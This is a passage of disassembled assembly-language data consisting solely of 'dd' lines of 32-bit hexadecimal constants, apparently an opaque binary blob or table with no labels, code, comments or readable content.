		dd 2C7A33B0h, 0E0227E44h, 59AC2C72h, 1D350718h,	0F816F8h
		dd 41BDE272h, 0DAE6F7E9h, 0E6B11364h, 4BC92B5Ch, 73B92481h
		dd 346DEE62h, 0C40132A4h, 307F1A27h, 0D9BD243h,	0FA71F56Ah
		dd 7FD75AF1h, 72D2C772h, 6A3F9D33h, 0CF754458h,	77B44177h
		dd 0B0B3FE05h, 2A8DB419h, 15FA3754h, 0B1A98CC9h, 47236000h
		dd 3AF88330h, 0EB7A12D5h, 13E4E7ECh, 263C6537h,	8AE7B6CAh
		dd 0C7227B78h, 0E3A54DBBh, 77BFCF14h, 5AD4A4FBh, 0E36CE9F3h
		dd 0C17A1335h, 95A5F4CCh, 0C153CEEDh, 0C9A7EE8h, 0E862C90Eh
		dd 0B436DBBDh, 54599D4Dh, 3ABCBBB8h, 0DF7F0918h, 8A24B7D9h
		dd 6EEA69CBh, 72BC769Fh, 846A7F1Bh, 64C00012h, 72D422BEh
		dd 0BF329D88h, 0D70CDAFAh, 30E2B99Bh, 944CE6E5h, 0A9EACFDBh
		dd 54EFF392h, 0D5A4E9DAh, 5E17E25Bh, 0FD2FF6B6h, 0B74ABDEh
		dd 0E5B58F9h, 6D787DD8h, 0E0C40C2h, 6CA8F9B2h, 96C62B5Eh
		dd 0A772EA37h, 0C1DF009h, 0B52F9747h, 36E13F67h, 164851D1h
		dd 0FA0FA57h, 0B88D99E5h, 6D5B9EA6h, 5E5D7417h,	0A2E98CA3h
		dd 5A79D5D7h, 194E0DFEh, 0F0FE072Ah, 5FFAD972h,	0E589216Fh
		dd 8BD6476Ch, 0D666A7ECh, 0BEAB82A6h, 87041117h, 4A3B6F23h
		dd 0AF9A4751h, 0F83C5B8Bh, 94E7E89Bh, 9D92F4BFh, 0D8AD50E2h
		dd 0EB21B692h, 2FA8D0D1h, 58D41623h, 0C39FE61Ah, 569EC864h
		dd 550E5E1Fh, 0C0D976F2h, 70BDDAF7h, 795DEF7Eh,	0D9401261h
		dd 297931D0h, 0A058974Fh, 5875285Ah, 81B8029Bh,	316AA590h
		dd 383162FCh, 86653E28h, 41FC3CB1h, 0C5A61B92h,	0CE0A0BB9h
		dd 0C8DC251Fh, 793DE79Fh, 9ABC4E56h, 0DF014DE6h, 7117E56Eh
		dd 19B9EE78h, 34AAF48h,	5EA2C2EDh, 0A080C528h, 0E945524h
		dd 0EBD1539Fh, 406DE579h, 34EE9F52h, 5B9706A4h,	359FFB00h
		dd 7383C0F8h, 3692A3F4h, 0FBF90473h, 61C702Ah, 1889643Fh
		dd 98398FFh, 0B1EF00F1h, 66084A29h, 7989CCB5h, 31AC7D60h
		dd 0D5F87373h, 823CC908h, 0A17EB095h, 0CAAF674Ch, 9C87ADC4h
		dd 954A3D09h, 9C933597h, 3DA1D8C8h, 0ECB5A639h,	70CD833h
		dd 32CB7582h, 6E2DC177h, 8F48F683h, 114CEE60h, 0F353B688h
		dd 49052E78h, 0B75308BAh, 141F6F30h, 0DA12C807h, 74D880E7h
		dd 21AF6F81h, 4B014412h, 0DFEBD516h, 26A3A00Dh,	63C4034Eh
		dd 33563970h, 0ED62E0FFh, 0A4D06C7Ah, 0B45A3509h, 4919877Fh
		dd 86F42794h, 0CD500C88h, 7B4E91A2h, 2D0725DAh,	3CBCC898h
		dd 86D3E3Fh, 72208C0Fh,	6B555C3Ch, 0BA3FDCB0h, 0C1F89B71h
		dd 45E01295h, 7E0E1131h, 4632A447h, 9BE8A9E5h, 69EAEB67h
		dd 0BB12A55Eh, 1ADBA1D9h, 5D5CDE67h, 64A13EF1h,	5E99F575h
		dd 0D230FF9Eh, 0D0F87BBFh, 8ECBF6BFh, 8040F9FDh, 5F05DCD4h
		dd 8F404558h, 5BE8151h,	0EEAC212h, 3F9F6A66h, 0E5DA4277h
		dd 69ACDA07h, 30FF82B0h, 5A15F0A6h, 0F6129A1Eh,	52F576D8h
		dd 6571EDB0h, 0B6E743Ch, 0FD43F528h, 0D55E25Bh,	5120A007h
		dd 4535DE90h, 0CC6ED5A0h, 636EF076h, 28E80F6Dh,	0C88BD7B4h
		dd 925C08F8h, 29C25643h, 328D5E75h, 59CA7BCDh, 82826029h
		dd 5112EA24h, 7391BE2Ch, 511B1E81h, 8E655006h, 3E79DD39h
		dd 5890BC0h, 0BB1042CFh, 0D2DDE554h, 46C3CE32h,	8D957A5Ch
		dd 6003132Eh, 4F78BF67h, 13D06AA1h, 0D93EA566h,	71F7DA4Eh
		dd 99EC6D9Ch, 3656D7E1h, 1286C30Ch, 70A6A090h, 4019F860h
		dd 353D7908h, 0DA30F7D2h, 22CB9F14h, 0FB569827h, 0C9E4F70Bh
		dd 9286F64h, 5AE09EEFh,	1FD8BF7Fh, 0A981E6BFh, 0B5AE0720h
		dd 0A9A4109Fh, 8F1885F8h, 2D38943Fh, 742E57E4h,	0B7CFF98Eh
		dd 7494785Ch, 0E95BF35Fh, 0ABD83F2Bh, 91EE857Dh, 69F1F59Bh
		dd 1791BF11h, 4EF26F45h, 0C79B8BC6h, 47016137h,	223E09Ch
		dd 0B5215329h, 1045044Eh, 0B568B92Bh, 9231E014h, 0DC4E8597h
		dd 408FA225h, 0D345A23Fh, 0B754BCFBh, 0BA87D4BEh, 99C6EF4Dh
		dd 94633F32h, 0F052B4F0h, 50E9EF5Ch, 203550D1h,	95D8083Dh
		dd 61097D76h, 0AC3B13D1h, 8C944D06h, 6A47956Bh,	2B8F8290h
		dd 0EC962FA7h, 1000AC25h, 965CB36h, 47967BBh, 5837B846h
		dd 5B4207FCh, 9A2B664Ch, 0BF05F58h, 0A3A28864h,	0F175333Ch
		dd 901E45F8h, 0BFB200Ah, 0AA09CBB7h, 0BC52E09h,	6704DB33h
		dd 0E2C68B0Ch, 0B6431845h, 1BE0999Ch, 0ECB51DE5h, 0B7FB8EDh
		dd 0E27F75BDh, 12B008D7h, 927B836Fh, 884BF485h,	576C2805h
		dd 5A9B4EDCh, 0BD3CB70Ch, 73005BE0h, 0F3398A81h, 0D602678Ah
		dd 0BDDF6DABh, 950401FEh, 0E5AB99B0h, 0D1B9D668h, 511D18D7h
		dd 42140380h, 8B2E895Fh, 0DCC25A2Fh, 0D13F50D2h, 502D4D2Fh
		dd 0DC5433F9h, 0B9C29D4Ah, 204D9288h, 7144F99Dh, 6FDDB1F0h
		dd 337369B6h, 645FEB66h, 256406EDh, 69FA8CDEh, 56DC04Eh
		dd 0BE3E6B84h, 0E08A6CE4h, 3789168Eh, 1BCECFB6h, 0EE02D377h
		dd 6DE838FFh, 72E394A4h, 28F47D0Ah, 0C9F13D6Bh,	0CAC642E0h
		dd 0ADFB5A58h, 0C8D51F83h, 539F093Ch, 0DCB28CFEh, 0F48040FEh
		dd 4968460Bh, 8DC54932h, 14A3CD27h, 47EC25E4h, 646A7525h
		dd 0A4016702h, 65938C0Fh, 9746AC28h, 0B46CB28h,	0C6D96C9Ah
		dd 0F3CDDDB3h, 89248F6Eh, 4BA6A73Dh, 81EB27A7h,	66AAD4Fh
		dd 94C932BEh, 0CD0634EFh, 849BF7E0h, 1749F423h,	5B9B67B9h
		dd 44852775h, 9B88E0EDh, 11F2ED0h, 0C1E248E2h, 7C7C7D6Bh
		dd 5249E2D9h, 2CA895DEh, 0AFE7B560h, 6F16D77Fh,	67717817h
		dd 8F797267h, 0FED74BF3h, 1FA83274h, 0FC373459h, 0CB6FCCA2h
		dd 5842F128h, 184C296Dh, 0C790C869h, 28A2232Ch,	75BDF7F2h
		dd 94DB735Bh, 2BB8589h,	71F5466h, 4A7052A0h, 0F4CAB98Bh
		dd 0B262DB17h, 0C6BCE1E8h, 0C581203Bh, 0B6AFA730h, 6BFDAD84h
		dd 43296073h, 0F5120C5Eh, 44F5E460h, 0B3C48D09h, 2D1DFF3Eh
		dd 2278DDB1h, 314B37A2h, 0E2944E0Ah, 449D2AB9h,	0ECCFCE0Ch
		dd 0D10DCDF1h, 81DB7415h, 9404B4EFh, 7FA1AF03h,	0C633E610h
		dd 0B3FF1A20h, 0E1307DCAh, 40519938h, 1316CEF3h, 0DDBA7E28h
		dd 53E982ACh, 0A45F4429h, 9EE01D60h, 17D41E43h,	0FA6C2B48h
		dd 0DB7E5F5Bh, 606234A0h, 3510B38h, 7C1471CEh, 0FEDDAE75h
		dd 0E2D088DEh, 0E60810FEh, 93BC6EA2h, 0A0EEB886h, 0B8E31EFh
		dd 3F800B8Bh, 9B00F8A5h, 4FB90BCAh, 4C4297B7h, 900F784Bh
		dd 96C0D012h, 30D1CD09h, 0F65BFA88h, 330E067Ch,	0ADD58212h
		dd 6385D57h, 6055C850h,	8DA1AFCAh, 8099836Ch, 0B62D52Ah
		dd 4F56C4F8h, 185B62B2h, 92088E8Fh, 1979BDBEh, 9FFEFA22h
		dd 612C415Bh, 319CB2B2h, 2BDBD515h, 9F8FDE0Eh, 2FD5DABBh
		dd 0E5E4E2A4h, 0B11107Ah, 711DB62Fh, 0CF6EAF59h, 0C7618A2h
		dd 0A2C2F40Ch, 23F141F3h, 0F70C5317h, 4B9DF570h, 0BD2174Ah
		dd 662D174Dh, 0AA30ED50h, 0EA702F88h, 8F2D8097h, 74543261h
		dd 8BA9F17Dh, 67BD357h,	0A7836598h, 0A6403E16h,	1B50B2Fh
		dd 508F7A2Dh, 98A6869Bh, 0BBE70B68h, 241E7E1Ah,	0FAB1E41Eh
		dd 3E24BE8h, 303F0E3Eh,	940FA1C1h, 12BAC546h, 4BA20BB1h
		dd 7BF4C9B9h, 4C6DD083h, 0A0D43498h, 843310F3h,	48BF3F7Fh
		dd 227926BDh, 0A926A896h, 913E3317h, 6C25DB66h,	0E182A7A8h
		dd 6C756A54h, 7ED81DFCh, 0DF307C7Eh, 0A26B0164h, 29A4A3AFh
		dd 5B8E955Ch, 11DF7C3Bh, 8DED088Dh, 21126F14h, 71400D80h
		dd 0FC249DD8h, 0C538A14Ah
		dd 31B5B9B2h, 49974DA8h, 5B1D0D5Fh, 0F39226B4h,	0E57B91Ch
		dd 5C55CF8Dh, 7413109Ch, 92773A49h, 0D19D5ED2h,	1EDC7AA0h
		dd 57468A4h, 63E8ED3h, 4DDB4B70h, 4EE04FDDh, 8A5584B9h
		dd 2C901BA3h, 0D7D40242h, 78204EB7h, 0C582C608h, 73E752EFh
		dd 51DFBA31h, 745E7B35h, 4B9AEB7Ch, 601DC4C4h, 2481BF7Fh
		dd 4EAD1A0Eh, 0F48C78DEh, 680B3985h, 71658C0Ah,	6F343A7Dh
		dd 9E81F36h, 3E5FDB70h,	1374B3EEh, 5520066Eh, 0D71B9FEEh
		dd 0AC6E925Ch, 0B4B2A821h, 2A3E241Eh, 0FE8F2C07h, 0F8688D8Dh
		dd 0D222FA11h, 0E4BF9389h, 0E3923C6h, 1F6908EEh, 0DAB13C56h
		dd 0CE1A9251h, 97546578h, 30A596A7h, 3A7DB24h, 7B8149Eh
		dd 4CC0E170h, 844A16BDh, 0A6266C23h, 0DB3FD596h, 0AA980F64h
		dd 0D91FE03Ah, 682B5C41h, 871B0681h, 0F2708E73h, 4650F7E5h
		dd 510E3EFDh, 21067244h, 738051Bh, 8456E19Eh, 33412Fh
		dd 824680BDh, 1AAB74EAh, 6B8B788Bh, 78D4AD2Ch, 0DE0B843Eh
		dd 5311753Ch, 0DE7A6FD4h, 17AFEBC8h, 8DA402B0h,	783DE3B5h
		dd 2B052AB5h, 6D391BFh,	0C0CBF244h, 862634F4h, 6993130Ch
		dd 1EFBD732h, 3FA9DC7Bh, 0DDA345A4h, 0DEBE2513h, 0D6887A33h
		dd 0A2B579ADh, 8814387Eh, 92B2FF46h, 615025EFh,	1B6E177Dh
		dd 0A2EB67E9h, 451F75BFh, 1C65C282h, 8FBC0A88h,	8EA58677h
		dd 35A5D881h, 0C96CAA55h, 47C69C2Eh, 9165B571h,	7D620E74h
		dd 15F0A962h, 4E35A81Eh, 0C266FC88h, 0F84B728Fh, 812D0DDh
		dd 46EFD6FDh, 52629437h, 660B2D69h, 297CB9B5h, 978238EAh
		dd 0E3B0C823h, 626AD69h, 0B1899D68h, 0CD517B06h, 0BE257667h
		dd 319EFF2Bh, 8D5AFDE9h, 8727D0D1h, 0CCDC2DDh, 0D4EB73DEh
		dd 0ECE43106h, 0F2BB2AC6h, 15E7016Ah, 0FD48484Ah, 3E74E03Ch
		dd 5B786D7Eh, 74E66F04h, 0ED6F25C8h, 5D4DD3DFh,	26BFEF18h
		dd 5B83519Eh, 0BECD2591h, 3FAEAD3Fh, 0C6EB2DE6h, 0AA18978Ah
		dd 0C80615C5h, 0F7A6743Dh, 75226Fh, 0FC12384Dh,	0E05B94Bh
		dd 13BFE6h, 0F9E2616Bh,	4B5119B5h, 79CC3C39h, 73627986h
		dd 0E6D2A692h, 5575E543h, 48C5FACFh, 1263642Ch,	63513533h
		dd 0CBEA8140h, 3942685Ah, 24655BDCh, 0B4F8F89Ch, 7E14863Ah
		dd 554E2660h, 65DD5A02h, 57AE6091h, 0F64A5027h,	68050E79h
		dd 7868939Fh, 0AC1A14B2h, 0F27CFB26h, 0D5A04F03h, 0EA9FB4CDh
		dd 227F370Ch, 0DA3D1D7Fh, 0ADEE2E9Ch, 6A368220h, 0FD579BEDh
		dd 68C633Eh, 55434985h,	0DD61DD99h, 0D5796F07h,	91FA9942h
		dd 51614EABh, 0E1BB078h, 5FDF4A36h, 1A743191h, 9867F6EBh
		dd 351F7E4Fh, 63C26935h, 21109664h, 9B43DF8Ch, 2FAA498Ch
		dd 899C3F21h, 221523E6h, 760C3AF9h, 6EED1AE0h, 0A0AC2A03h
		dd 0F91D12C7h, 0AB9E58C0h, 46ACC7D3h, 27C0D047h, 63A57A90h
		dd 0DE327E84h, 399671D5h, 0E2236D49h, 68DA4285h, 3003C655h
		dd 74D16F0Ch, 0E92C0AD8h, 2AC29FF9h, 77896FABh,	69D049C5h
		dd 1AB72410h, 0D5CE016Fh, 0F73BA9F0h, 0D0DB774Bh, 0C102DE4Ah
		dd 201B0C9Dh, 0A5F38419h, 0AC47DA76h, 0BFF57552h, 4723C7C2h
		dd 5179F056h, 64356928h, 5B59AB95h, 875A3BB7h, 0F92B03E1h
		dd 0CB26AD76h, 8465D958h, 1F1BD8A5h, 18A2DBC3h,	8BFF0D46h
		dd 0F0AFDFC0h, 1887A81Dh, 2F43534Fh, 35174867h,	1458F9EDh
		dd 236B6B2Dh, 0C090C922h, 49560E84h, 5BA9B218h,	4552802h
		dd 984EBF89h, 0FC54843h, 713E8961h, 0F4C9F90Dh,	0DA315CF9h
		dd 459B113Bh, 4EB1C0FBh, 0D87A7784h, 0C05E7A23h, 0F9262A4Bh
		dd 0BBE27A82h, 0D3B6981Dh, 572C2C57h, 0C848D2C0h, 9B1CDE14h
		dd 57F682E6h, 294F9E7Fh, 0D90AF973h, 3C03F872h,	0E91C0BB4h
		dd 0CA45C512h, 4DE71932h, 96B464FDh, 7C3D7AF7h,	0D8FFDE24h
		dd 0DEE9695Bh, 8FAFBC4Bh, 0D92D3DDEh, 0C494103h, 0CB635167h
		dd 73C65D1Dh, 0E2A6DBC4h, 2A20BEC4h, 9584E169h,	8DDB3A9Fh
		dd 0E6D0B339h, 2A99203Ah, 2B8615B1h, 0FC81C6E9h, 4B761951h
		dd 0ABFC3E0Ah, 44C91961h, 75C0BEDBh, 43480BEh, 711FB6D8h
		dd 4F760F9Ch, 4AE596A4h, 0FA91321Ah, 0A97B9C82h, 0B6554029h
		dd 78D855CFh, 1DE8F600h, 0C50D11CEh, 8EB52443h,	2D9D9C91h
		dd 0F8ABF94Bh, 47B653D9h, 9DBE47B7h, 499C17E5h,	0C931B34Ah
		dd 981B0F3Fh, 2018B755h, 73DF47C8h, 60686E07h, 0E1805325h
		dd 0E87A60A3h, 0EA8FD7A1h, 282D50Bh, 0F6FA1F61h, 0CAA5AD72h
		dd 343719E9h, 13DCA9E6h, 966BAD7h, 0FCA95F40h, 6F398B2Ah
		dd 0D0587846h, 0CFD26ABFh, 0A1744D89h, 0C8C6BC5h, 4877DCD5h
		dd 5A2E16F7h, 0C2426038h, 0D221653Eh, 91E73DB8h, 8EF2FF7Eh
		dd 3D07C4Bh, 3EF9A8Dh, 47132299h, 1CC1E7C5h, 8A98DBEDh
		dd 0C2F652D8h, 4D763F17h, 15E367BFh, 977795E6h,	32F4A81Fh
		dd 0E74B35F7h, 23DA0BFDh, 91D21E72h, 0A9A14B51h, 0E6084B13h
		dd 0CC683F4Ah, 5B3A4F6h, 1EA119DAh, 849D33E5h, 0E98722D1h
		dd 0B9BA00Fh, 0BF026F8Eh, 383C0633h, 7A67673Ah,	6792703h
		dd 0EE62BBFBh, 0E84FED40h, 0FF5A30Fh, 0C74964E6h, 48231B1Ah
		dd 9B514766h, 1671FB5h,	810DC262h, 8CAE8C65h, 0EDCB2A2Fh
		dd 37FCA7B2h, 512785B6h, 9316CCC5h, 975B8632h, 0D9322CEFh
		dd 0BFD89C41h, 9950FD7Ah, 764ED3B7h, 0B1D1FCA2h, 0E5526175h
		dd 6C5E9E1Eh, 89352870h, 0A6DD3B74h, 0E948EBBAh, 8D023D8Fh
		dd 4FB50FB2h, 0E6D73949h, 7D6D21D1h, 0A0EEE115h, 2FD1134Dh
		dd 58FD0FD7h, 6CBA4Fh, 0F3F2FF1Fh, 4C4AF8Dh, 0C9469F2h
		dd 0DD7D0E19h, 3F5EDD5Bh, 1AECB0ADh, 550B04AFh,	2EC3A695h
		dd 3F4DB3AAh, 3B2B271Dh, 46F3C8DFh, 3D096F10h, 72DAA929h
		dd 0FF307AAFh, 0C7F59E19h, 0A3DEFA83h, 0FB4759ABh, 0FD49281Eh
		dd 996CB405h, 197C16A7h, 0ECB9A2Eh, 561E1B66h, 64307846h
		dd 8F4C447Ch, 0FB09E3AFh, 0A8A9B922h, 0B6FA6279h, 64FA0B10h
		dd 4ECFE2C3h, 6B964BCBh, 0F8DA64A6h, 0BC7C5F46h, 0A8D48607h
		dd 0CC8C85CCh, 0BB815F2Eh, 6F5DB6EBh, 2068B25Fh, 5333F064h
		dd 5CDD1688h, 0AD11015Bh, 730C391h, 31A31D07h, 0E0CE1F10h
		dd 816B0B32h, 3168DF7Dh, 0E9931C10h, 0FA8AE3AFh, 0B25E863h
		dd 0C6B4D0FBh, 215499D3h, 913BBFE3h, 0F10F16F5h, 42ABB33Dh
		dd 24F2DC20h, 0FFD8DB1Ah, 46AA392Ch, 2120FB0Fh,	9D2C98E6h
		dd 9457C18Ch, 759E41FBh, 8E2C0DA7h, 0B89F3EF4h,	5C79B37h
		dd 0B380768h, 0AF0F2605h, 0FAF37E03h, 2A830CECh, 18C3528Ch
		dd 812ADD9Fh, 2130F27Bh, 0DE6D72E1h, 56CA123Ah,	5BD61324h
		dd 0DD04D260h, 4296B772h, 66DD9869h, 0FE328727h, 0A7FF560Ah
		dd 9E7848DEh, 0BC3AEA9Dh, 85A34E6Fh, 68E81D34h,	0E5E36A3h
		dd 5BE492AEh, 0F8A67B5h, 838E0468h, 35EAF24h, 0A6576E52h
		dd 1EEE16B4h, 2E6F133Ah, 7430F6D5h, 0B64AE515h,	0FD2392A4h
		dd 6A774DADh, 0FEB56A95h, 0CD2F842h, 13BE1265h,	0A55E84DBh
		dd 61689327h, 0FDEF4CD0h, 608EE98Eh, 445A931Bh,	69086ED5h
		dd 2EB29B88h, 0EEFA4F45h, 6DB0B05Ch, 0D756508Fh, 37EC4DA6h
		dd 2BC22E80h, 0CA2382Ch, 590FA252h, 2B0F7BBFh, 6A995686h
		dd 0E027CD06h, 372A3CCCh, 9737DC59h, 1957E823h,	23A67ABh
		dd 33017152h, 0BD09D33Dh, 0D3BF6ED4h, 2DE6E1D9h, 0B186D4B1h
		dd 0F7E0E23Bh, 8AD498E4h, 152A84Ch, 4E362983h, 1265ED42h
		dd 9B80FC46h, 0BF292FFFh, 0B4B9B1B9h, 0DEA6EEEFh, 0F798DF96h
		dd 0C853D6D8h, 58FF07EEh
		dd 9C0A366Dh, 50262D81h, 6E806DB5h, 0B2C40D78h,	59B13A1Dh
		dd 556A6608h, 0FD7E5DD3h, 0D3CEC74Ah, 35EF2A8Ah, 0AA2632F5h
		dd 0D8AB5F56h, 0BE8DF747h, 83FC0CE9h, 20E453BDh, 8CF62796h
		dd 0C38A198Ah, 750AAD35h, 0CD9A9165h, 20E3BCC9h, 5709CCA4h
		dd 0A65FB35Eh, 0A01C8358h, 0B4DBDBE2h, 0B13218E3h, 7B7F123h
		dd 65B4D25h, 0C7331AF5h, 44243A45h, 2DAB7AC5h, 1BD4ACFFh
		dd 31BF4C20h, 8D578CBFh, 92CE71FAh, 0EB8349ACh,	0F7078F9Fh
		dd 75CF343Ah, 3CD10711h, 0CB176872h, 0AFC103C7h, 10B10A1Dh
		dd 1BBDA088h, 0C3CECA67h, 459FAC6h, 42C945BEh, 2F93CF44h
		dd 74F32B85h, 26F9888Eh, 0F1CD80FAh, 1F91CF29h,	0DADB5680h
		dd 6D5E17FCh, 0F06E501Dh, 40D5FFE7h, 0C1F3A4CAh, 39679Bh
		dd 59B55C4Ch, 0ADC5EB50h, 961E1A2Eh, 811EA25Fh,	45F9FE00h
		dd 75324A11h, 9A27A1F3h, 0C0FF39B0h, 9C0EBAD5h,	7B7FF08Bh
		dd 967091CCh, 0EF5F2E53h, 0B143510Bh, 54CCEDE4h, 699C334Bh
		dd 75E7029Ch, 0B5107BD1h, 30EAEC2Ah, 0E75B088Ch, 0E3EE777h
		dd 0B40CC595h, 16A26A9Fh, 0C3465757h, 4EDCF3F8h, 11A7D9DEh
		dd 139AF804h, 0A0CCAB73h, 69204FC1h, 987ACBF7h,	3E37D79Ch
		dd 9AE056F2h, 0B1356FA5h, 85D41E55h, 82F40DB7h,	0E044BEB6h
		dd 182D95EFh, 0C44DBE91h, 0D95C69A6h, 0D3177FB9h, 0FEAF6AD3h
		dd 0C83D8E50h, 60610E31h, 224D24EAh, 3CEAAF20h,	681443E1h
		dd 0B0996300h, 7CCB377Ch, 0AAE73476h, 314D3F3Fh, 88B6039Fh
		dd 6030608Bh, 0A1D1DCB2h, 0D6BA1889h, 5E9D5524h, 60F99E20h
		dd 0F44C0538h, 1EB1A8B3h, 0A2098EC7h, 1ED4F6ECh, 0B21C40E2h
		dd 0B62006EEh, 0B6EB90DAh, 0D356414Bh, 59522A82h, 6A5EC95Fh
		dd 75398BAFh, 0C04D04F1h, 76B7D2Eh, 0EF042ACFh,	9B3A5DDCh
		dd 0DE593080h, 2953A714h, 0EEB15214h, 9AA49D1Fh, 31F861CFh
		dd 6AC99AF0h, 567A606Bh, 9F197BA5h, 177B178Eh, 0A260692Dh
		dd 0DA25123Dh, 2D75FCF7h, 0D6B56E33h, 722B7298h, 5EF4F2DAh
		dd 7D856406h, 0C05EBA91h, 0B223DC98h, 0CB1F450Ah, 0FBF17B34h
		dd 0A34A476Bh, 10CDF299h, 3958AF76h, 1161CAB7h,	0FE17EDBh
		dd 0AA5BCE6Ch, 317B8477h, 0AC0A6310h, 0BB8BD15Ah, 5E309B35h
		dd 0B8CABEEAh, 9F3592EBh, 0CFC19B6Eh, 9134D040h, 0F6E4897Ah
		dd 0A7C453B3h, 85BBC65Eh, 0BDA1FFCDh, 2ACC1DFDh, 0CE214953h
		dd 0D6CAEEA1h, 5D8A2DF3h, 4EBCD295h, 3BEB44B7h,	6FB59B2Ch
		dd 50F20AD5h, 0F3A502CAh, 5C1B73F8h, 0EB153F02h, 0E09B8936h
		dd 12A37DEEh, 7C1F3C91h, 0E085067Ch, 7D77A74Bh,	61E1E8F2h
		dd 0BA6B6C89h, 231845C0h, 0CCD65BF0h, 65C25810h, 11800923h
		dd 787E4316h, 0A897A321h, 0E4F14189h, 0CCA89A76h, 94949966h
		dd 0A84EF9EFh, 34A67714h, 0A0586D62h, 6EF74F2Bh, 0BE750F0Ah
		dd 3E584D72h, 0E945EE00h, 31CBB41h, 9F4D48DCh, 76D66FA4h
		dd 0AA9107D1h, 0AE24BF44h, 7C07B3Ah, 0D9CDC482h, 0CAF6B806h
		dd 40C8FB58h, 9F843C9Bh, 0DFE12978h, 0D1D55149h, 4B7A3DE6h
		dd 42053431h, 1F9C00CFh, 0FBF18938h, 2A1E8A2Ch,	7905F8F2h
		dd 0C111A7D4h, 14E5BA1h, 0C856775h, 63F82CAAh, 0A75FB6C3h
		dd 0A2DF8B84h, 12234C13h, 9221C7DBh, 0EF07385Fh, 9EB39F06h
		dd 93CC67E1h, 8FBF739Bh, 35C51B8Dh, 5D9A9EB4h, 0ADD13E02h
		dd 1CF31647h, 0C14ACD5h, 56A522C5h, 0C97709F8h,	0CE9D64E1h
		dd 0C90DE4F4h, 0C7EDB9CEh, 0B2ED9474h, 0F8A821A8h, 44D0EF59h
		dd 56340BE1h, 57696261h, 75EFCB5Eh, 0E25D70B4h,	0FFDE21A2h
		dd 8CF0FD02h, 1A5DC4D3h, 5E07B0EFh, 5217F83h, 8B0791B4h
		dd 48FAA450h, 0B864CD4Ch, 80B35F38h, 9D36C3D5h,	4CE36217h
		dd 0AB4C5F6h, 0D192392Bh, 35934F8h, 1DBBA3D6h, 40D38654h
		dd 0EF7636A4h, 197F1013h, 98D72846h, 978FEB71h,	0DFF406BAh
		dd 0A8DD5B2Fh, 0D2B04E47h, 0DF2C46C3h, 0C5866D94h, 0E1628E33h
		dd 0CC65A1D7h, 0F48D21E6h, 29928411h, 7C1E37CDh, 7DB8BFD2h
		dd 46FDD78h, 34564809h,	0CB2CC1ADh, 0EF350283h,	0CD28B1DBh
		dd 9A342776h, 0A680FF8h, 0E0FAC9C6h, 1B6ACE00h,	0F7712D4Dh
		dd 0EFB68643h, 0B9879DBh, 8E6B9ABCh, 0A9A385Dh,	0A475C100h
		dd 1E810E5Ah, 745E696Bh, 9069E323h, 1B1D7A02h, 13EDE8F7h
		dd 320B8B0Bh, 0AE3484DEh, 3AA22A59h, 3FB254FCh,	6F6A37D8h
		dd 0BC9813FCh, 92BC74FBh, 0BDF60EF5h, 150F7423h, 0D4753A8h
		dd 6324B93Dh, 0CE83C182h, 847D9FCEh, 0CB967AC8h, 6B02D1Ch
		dd 9523F0EEh, 0DF86A6BBh, 0C1672CD0h, 4753B1F0h, 0E68B02FCh
		dd 436B1FB0h, 0F8FB7ECEh, 67670943h, 0F042D496h, 0EFAF7408h
		dd 0ED876773h, 0BC0B5B94h, 0E649CC0Dh, 0B1764EC3h, 0CA0C8C75h
		dd 186F0C7Eh, 0C8CF890Ch, 0E6179072h, 0DB7001B1h, 35941D6Dh
		dd 0E8C6F2B8h, 46C0B8E1h, 4CC66B67h, 64E7C3A6h,	0AEBC5487h
		dd 57FDE33Ch, 0BE4F2F1Fh, 0FA27A7F5h, 4B806BFFh, 0BF9146ABh
		dd 0DDC5F359h, 3126D82h, 0EBEE6E7Ch, 0E3374EDCh, 924547FAh
		dd 8AF78D6Fh, 3B6476F7h, 86DCF8D6h, 0B9F4A7A5h,	63FEA61Dh
		dd 7E6F49BAh, 752AC9E0h, 44077468h, 8576D28Ah, 0BC470018h
		dd 8FD67F43h, 0F7DC29D6h, 6BB34DC8h, 0E9D33290h, 0A98FA570h
		dd 810AB023h, 1F9E856Ch, 85D41758h, 0BA42A1B2h,	0FFE23F91h
		dd 53003FF2h, 0C9B3A046h, 0A9A92DCh, 1404557h, 9F40B6BFh
		dd 0AEFCB75h, 92459405h, 0CE763227h, 792D46AEh,	0DE98CF81h
		dd 8D9F8B54h, 0AFED50E7h, 548BCE1Dh, 8D6546Fh, 2DCF700Ch
		dd 0ADBCCC57h, 755012E5h, 8CE8CD9Eh, 0C4A47FF4h, 0DD2924F1h
		dd 0C19CFF5Fh, 0C6B3FD27h, 9395857Dh, 0A395579Eh, 2485630Ch
		dd 0C31C99A6h, 4481B35Fh, 2566219h, 34667156h, 0E2059717h
		dd 88892A88h, 0B1545998h, 1DA561F9h, 801E0816h,	0B8E01202h
		dd 7B1976Fh, 0DF25380Dh, 22E2D457h, 3F515413h, 117AAC9h
		dd 26AFD8EEh, 9ECCD5CDh, 3E9CDF47h, 8E1E2B66h, 81141C8Eh
		dd 0EA54B523h, 218670D4h, 0C37CC9C1h, 0D00D7460h, 0F5A2958Eh
		dd 12154E16h, 8F6E5D27h, 0E2A1D5A4h, 843B5921h,	6F490A87h
		dd 676EF593h, 8ABB4C6Eh, 3EA41344h, 4DB36D29h, 0B7126B72h
		dd 86FE8345h, 0B4B15C1Ah, 950470h, 0E55F679Ch, 312FED02h
		dd 54B54FC9h, 7C9F4036h, 0C790695Fh, 0F5D45543h, 533A0F82h
		dd 22C4BD78h, 0A939DF06h, 8BB0BFC2h, 499AE2B5h,	83435FA1h
		dd 0B0606E7h, 0EFAEE734h, 0E707BFB3h, 0B612BE7Dh, 4989C508h
		dd 4FD50D8Bh, 46817021h, 306479E6h, 7CC4E8B4h, 0F5509FD5h
		dd 527EE1CAh, 7E77ECF2h, 51D86C47h, 0F2F779h, 0AF6643BAh
		dd 0E206C12Ch, 3342115Eh, 0C1498C02h, 5D09B89Eh, 51BD6E4Fh
		dd 0C373ECD1h, 0A38C68FAh, 57C081F4h, 0D8EC2AEAh, 701E609Dh
		dd 0BC2FBE42h, 5BB13384h, 755BA348h, 0C54FBCE2h, 41EDDCFFh
		dd 6495206Fh, 10E04C1Fh, 5DC78249h, 52925322h, 9E1DE6B9h
		dd 266A2A3h, 34387891h,	1FD5D3A6h, 0C27EDE95h, 44C1671Dh
		dd 0D49DF11Fh, 0C014DC66h, 549129D6h, 0F6C34CA1h, 0D8E105D0h
		dd 0D1C9FC09h, 0EF0BEC53h, 0C64B1F2Eh, 0ECA56931h, 43676287h
		dd 75A63B1Dh, 22A60E38h, 5211A10Eh, 3039F358h, 68AB4E35h
